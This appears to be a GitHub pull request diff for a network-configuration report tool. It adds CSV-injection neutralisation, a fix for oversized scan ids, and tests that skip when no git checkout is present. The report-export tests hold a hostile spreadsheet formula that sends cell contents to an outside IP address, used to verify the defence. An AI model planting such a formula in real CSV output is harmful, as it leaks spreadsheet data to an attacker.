Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
20 changes: 18 additions & 2 deletions analysis/report.py
Original file line number Diff line number Diff line change
Expand Up @@ -73,6 +73,22 @@
#: misalignment no merge conflict would show.
CSV_REPORT_COLUMNS = ("excluded_during_conversion",)

#: A spreadsheet opening a CSV EVALUATES a cell that starts with one of
#: these, rather than showing it (OWASP "CSV Injection"). Hostnames, ACL
#: names and a policy's own wording all reach these cells from a file
#: somebody uploaded -- the CSV twin of the escaping `_finding_html()` does.
_FORMULA_STARTS = ("=", "+", "-", "@", "\t", "\r")


def _csv_cell(value: Any) -> str:
"""The value as text a spreadsheet will show, never run.

A leading apostrophe is the spreadsheet convention for "this is text":
the value stays readable, and nothing else in it is changed.
"""
text = str(value)
return "'" + text if text.startswith(_FORMULA_STARTS) else text

#: The `device` value a check uses when a finding is ABOUT THE CHECK rather
#: than about any device. Today exactly one producer emits it --
#: `analysis/checks/policy_compliance.py`, for "your policy has no rules for
Expand Down Expand Up @@ -212,7 +228,7 @@ def render_csv(findings: Sequence[Dict[str, Any]],
+ _sections(findings)["clean"])
for finding in ordered:
evidence = finding.get("evidence") or {}
writer.writerow([
writer.writerow(_csv_cell(cell) for cell in [
finding.get("id", ""),
finding.get("check", ""),
finding.get("status", ""),
Expand Down Expand Up @@ -482,7 +498,7 @@ def render_comparison_csv(
):
for finding in rows:
evidence = finding.get("evidence") or {}
writer.writerow([
writer.writerow(_csv_cell(cell) for cell in [
change_type,
finding.get("id", ""),
finding.get("check", ""),
Expand Down
13 changes: 13 additions & 0 deletions tests/test_history_api.py
Original file line number Diff line number Diff line change
Expand Up @@ -172,6 +172,19 @@ def test_delete_one_then_all(world):
assert client.get("/api/history").json() == {"scans": []}


@pytest.mark.parametrize("scan_id", [2**63, 99999999999999999999, -(2**63) - 1])
def test_an_id_no_scan_could_have_is_not_found_rather_than_a_500(world, scan_id):
"""Measured on origin/main: 500 Internal Server Error. FastAPI accepts
any size of integer in the path, and SQLite raised OverflowError binding
one wider than its 64-bit ids."""
client, scan = world
scan([_clean()])
client.post("/api/history", json={"name": "A"})

assert client.delete(f"/api/history/{scan_id}").status_code == 404
assert len(client.get("/api/history").json()["scans"]) == 1


def test_a_new_upload_not_yet_scanned_cannot_be_saved_or_compared(world):
"""The last scan belongs to the config it was computed from. Upload
something else without scanning, and neither save nor compare may pair
Expand Down
51 changes: 46 additions & 5 deletions tests/test_no_configs_in_git.py
Original file line number Diff line number Diff line change
Expand Up @@ -33,11 +33,15 @@
checks the thing itself: does any committed file *look like* a real network
configuration?

These need neither Batfish nor Docker. They do need `git`.
These need neither Batfish nor Docker. The ones that ask git need a git
checkout, and skip -- never fail -- in a copy downloaded as a ZIP, which has
no `.git` folder. See `git_checkout` below and
`tests/test_suite_runs_from_a_download.py`.
"""

from __future__ import annotations

import os
import re
import subprocess
from pathlib import Path
Expand All @@ -53,6 +57,43 @@ def _git(*args: str) -> subprocess.CompletedProcess:
)


def _in_a_git_checkout() -> bool:
"""True only if git's top level here is THIS repository's root.

Not just "is git installed" or "is there a repository somewhere above".
A ZIP unzipped inside some other repository would get answers from that
repository's tracked files and ignore rules, which are not ours.
"""
try:
top = _git("rev-parse", "--show-toplevel").stdout.strip()
except FileNotFoundError: # git itself is not installed
return False
return bool(top) and Path(top).resolve() == REPO_ROOT


@pytest.fixture
def git_checkout():
"""Run the git-dependent guards only where git can answer for us.

A copy downloaded as a ZIP from GitHub has no `.git` folder. There, git
cannot answer, so these tests either fail with a false alarm (20 of them
did, measured 21 October) or pass having checked nothing, because
`ls-files` lists no files and `check-ignore` says "not ignored" for every
path. Skipping says honestly that nothing was checked.

Never on CI, though. CI always runs from a real checkout, so a missing one
there means constraint 1's guard has silently stopped running, and that
must be red.
"""
if _in_a_git_checkout():
return
if os.environ.get("CI"):
pytest.fail("CI is not running from a git checkout, so the "
"constraint-1 guards in this file cannot run")
pytest.skip("not a git checkout (a downloaded ZIP has no .git folder), "
"so git cannot say what this repository ignores or tracks")


def _is_ignored(path: str) -> bool:
"""True if git would refuse to add this path. The file need not exist."""
return _git("check-ignore", "-q", path).returncode == 0
Expand Down Expand Up @@ -93,7 +134,7 @@ def _is_ignored(path: str) -> bool:


@pytest.mark.parametrize("path", MUST_BE_IGNORED)
def test_config_and_secret_paths_stay_ignored(path: str):
def test_config_and_secret_paths_stay_ignored(path: str, git_checkout):
"""One deleted .gitignore line is all this protects against, and that is
exactly the change nobody would notice in review."""
assert _is_ignored(path), (
Expand All @@ -103,7 +144,7 @@ def test_config_and_secret_paths_stay_ignored(path: str):
)


def test_the_committed_fixtures_are_still_the_deliberate_exception():
def test_the_committed_fixtures_are_still_the_deliberate_exception(git_checkout):
"""The negations must keep working, or the test suite loses its inputs.

`tests/fixtures/` is the single documented exception to constraint 1
Expand All @@ -119,7 +160,7 @@ def test_the_committed_fixtures_are_still_the_deliberate_exception():
assert any(f.endswith(".xml") for f in tracked), "no .xml fixture is tracked"


def test_the_ignore_check_can_actually_fail():
def test_the_ignore_check_can_actually_fail(git_checkout):
"""Proof this guard is not vacuously green.

`check-ignore` returning 0 for everything -- a bad path, a wrong repo root
Expand Down Expand Up @@ -195,7 +236,7 @@ def _looks_like_a_device_config(text: str) -> list:
return []


def test_no_committed_file_outside_fixtures_looks_like_a_real_config():
def test_no_committed_file_outside_fixtures_looks_like_a_real_config(git_checkout):
"""Catches the extension holes without ignoring requirements.txt.

Catches the client's PF Sense export regardless of what it was named --
Expand Down
60 changes: 60 additions & 0 deletions tests/test_report_export.py
Original file line number Diff line number Diff line change
Expand Up @@ -454,6 +454,66 @@ def _rows(text):
return list(csv.DictReader(io.StringIO(text)))


#: Measured end to end on origin/main: a config whose hostname is a formula
#: parses, the dead-rule finding names that device, and the downloaded CSV
#: carries it unmodified in `device` and `source`, so a spreadsheet opening
#: the export runs it. `=HYPERLINK(...)` sends a cell's contents anywhere.
FORMULA = '=HYPERLINK("http://198.51.100.7/?"&A2,"open")'


@pytest.mark.parametrize("trigger", ["=", "+", "-", "@", "\t", "\r"])
@pytest.mark.parametrize("field,builder", [
("summary", lambda v: finding(summary=v)),
("detail", lambda v: finding(evidence={"detail": v, "source": "x"})),
("source", lambda v: finding(evidence={"detail": "x", "source": v})),
("device", lambda v: finding(device=v)),
])
def test_config_text_cannot_become_a_spreadsheet_formula(field, builder, trigger):
"""The CSV twin of the HTML escaping test above (OWASP CSV Injection).

A cell starting with one of these characters is evaluated, not shown.
The text must survive, readable, with a leading apostrophe -- the mark
a spreadsheet reads as "this is text".
"""
hostile = trigger + FORMULA[1:]
cell = _rows(report.render_csv([builder(hostile)]))[0][field]

assert cell == "'" + hostile, (
f"{field}: a cell starting {trigger!r} reached the CSV unneutralised"
)


@pytest.mark.parametrize("trigger", ["=", "+", "-", "@", "\t", "\r"])
@pytest.mark.parametrize("field,builder", [
("summary", lambda v: finding(summary=v)),
("detail", lambda v: finding(evidence={"detail": v, "source": "x"})),
("source", lambda v: finding(evidence={"detail": "x", "source": v})),
("device", lambda v: finding(device=v)),
])
@pytest.mark.parametrize("bucket", ["introduced", "resolved", "newly_blind", "newly_sighted"])
def test_the_comparison_csv_defuses_formulas_in_every_bucket(bucket, field, builder, trigger):
"""The second CSV this module writes ("Compare with an earlier scan") had
its own writerow, and the fix above only reached render_csv, so the same
hostname was defused in one export and live in the other (#476 review,
@shubhamkataria2005). Every row of every bucket goes through the same
function."""
hostile = trigger + FORMULA[1:]
buckets = {"introduced": [], "resolved": [], "newly_blind": [], "newly_sighted": []}
buckets[bucket] = [builder(hostile)]
text = report.render_comparison_csv(buckets["introduced"], buckets["resolved"], 0,
newly_blind=buckets["newly_blind"],
newly_sighted=buckets["newly_sighted"])
row = [r for r in _rows(text) if r["change_type"] == bucket][0]

assert row[field] == "'" + hostile


def test_a_csv_cell_that_starts_harmlessly_is_left_exactly_as_it_was():
rows = _rows(report.render_csv([PROBLEM]))
assert rows[0]["summary"] == "Unencrypted web traffic is allowed out"
assert rows[0]["device"] == "rtr-us5"


def test_csv_includes_the_findings_that_could_not_run():
"""An export that dropped the error rows would let a spreadsheet reader
count the problems and conclude the rest was clean."""
Expand Down
107 changes: 107 additions & 0 deletions tests/test_suite_runs_from_a_download.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,107 @@
"""The suite must run from a copy downloaded as a ZIP, not only from a clone.

GitHub's "Download ZIP" gives every tracked file and no `.git` folder. On
21 October, running `pytest tests/` from exactly that download gave 20 red
failures, all in `test_no_configs_in_git.py`, and every one a false alarm:
those tests ask git what it ignores, and with no repository git cannot answer.
Two more passed there having checked nothing -- `git ls-files` lists no files
outside a repository, and `git check-ignore` says "not ignored" for every path.

So these tests copy that module somewhere with no `.git`, run it on its own,
and check what a person holding the ZIP would see. The last one is the
positive control: in a real checkout the git checks must still run, or a
broken checkout test would quietly skip constraint 1's guard everywhere.

These need neither Batfish nor Docker.
"""

from __future__ import annotations

import os
import shutil
import subprocess
import sys
from pathlib import Path

import pytest

REPO_ROOT = Path(__file__).resolve().parent.parent
MODULE = "tests/test_no_configs_in_git.py"

#: Everything that module reads from the repository, apart from git itself.
NEEDS = [
MODULE,
".gitignore",
"README.md",
"tests/fixtures/pfsense-source/config.xml",
]

#: The reason the module gives when it skips. Asserted on, so a skip for any
#: OTHER reason (a missing file, an import error) does not count as success.
SKIP_REASON = "not a git checkout"


def _download_like_copy(parent: Path) -> Path:
"""A folder holding what the ZIP holds for this module, and no .git."""
copy = parent / "Netwise-main"
for name in NEEDS:
(copy / name).parent.mkdir(parents=True, exist_ok=True)
shutil.copy2(REPO_ROOT / name, copy / name)
return copy


def _run_module(folder: Path, ci: bool) -> tuple[int, str]:
"""Run the module from `folder` in a fresh pytest, as a user would."""
env = {k: v for k, v in os.environ.items() if k != "CI"}
if ci:
env["CI"] = "true" # what GitHub Actions sets
result = subprocess.run(
[sys.executable, "-m", "pytest", MODULE, "-q", "-rs",
"-p", "no:cacheprovider"],
cwd=folder, env=env, capture_output=True, text=True, timeout=300,
)
return result.returncode, result.stdout + result.stderr


def test_a_downloaded_copy_skips_the_git_checks_instead_of_failing(tmp_path):
code, out = _run_module(_download_like_copy(tmp_path), ci=False)

assert code == 0, out
assert " failed" not in out and " error" not in out, out
assert SKIP_REASON in out, out
# The checks that need no git -- the config detector -- still ran.
assert " passed" in out, out


def test_on_ci_a_missing_checkout_fails_rather_than_skips(tmp_path):
"""CI always runs from a checkout. If it ever does not, the guard has
silently stopped running, and that must be red, not a quiet skip."""
code, out = _run_module(_download_like_copy(tmp_path), ci=True)

assert code != 0, out
assert "CI is not running from a git checkout" in out, out


def test_a_copy_inside_some_other_repository_is_not_mistaken_for_ours(tmp_path):
"""Unzipped inside another git repository, git WOULD answer -- for that
repository, whose tracked files and ignore rules are not ours."""
if shutil.which("git") is None:
pytest.skip("git is not installed")
subprocess.run(["git", "init", "-q", str(tmp_path)], check=True)

code, out = _run_module(_download_like_copy(tmp_path), ci=False)

assert code == 0, out
assert SKIP_REASON in out, out


def test_in_this_checkout_the_git_checks_really_run():
"""The positive control: in a real clone nothing is skipped."""
if not (REPO_ROOT / ".git").exists():
pytest.skip("this copy is itself a download, not a git checkout")

code, out = _run_module(REPO_ROOT, ci=False)

assert code == 0, out
assert SKIP_REASON not in out, out
assert " skipped" not in out, out
4 changes: 4 additions & 0 deletions web/history.py
Original file line number Diff line number Diff line change
Expand Up @@ -124,6 +124,10 @@ def latest(self, name: str) -> Optional[Dict[str, Any]]:

def delete(self, scan_id: int) -> bool:
"""Remove one saved scan. False if there was no such scan."""
# SQLite ids are 64-bit, so a wider number names no scan -- and
# binding it raises OverflowError, which reached the user as a 500.
if not -(2**63) <= int(scan_id) < 2**63:
return False
with closing(self._connect()) as connection, connection:
cursor = connection.execute("DELETE FROM scans WHERE id = ?", (int(scan_id),))
return cursor.rowcount > 0
Expand Down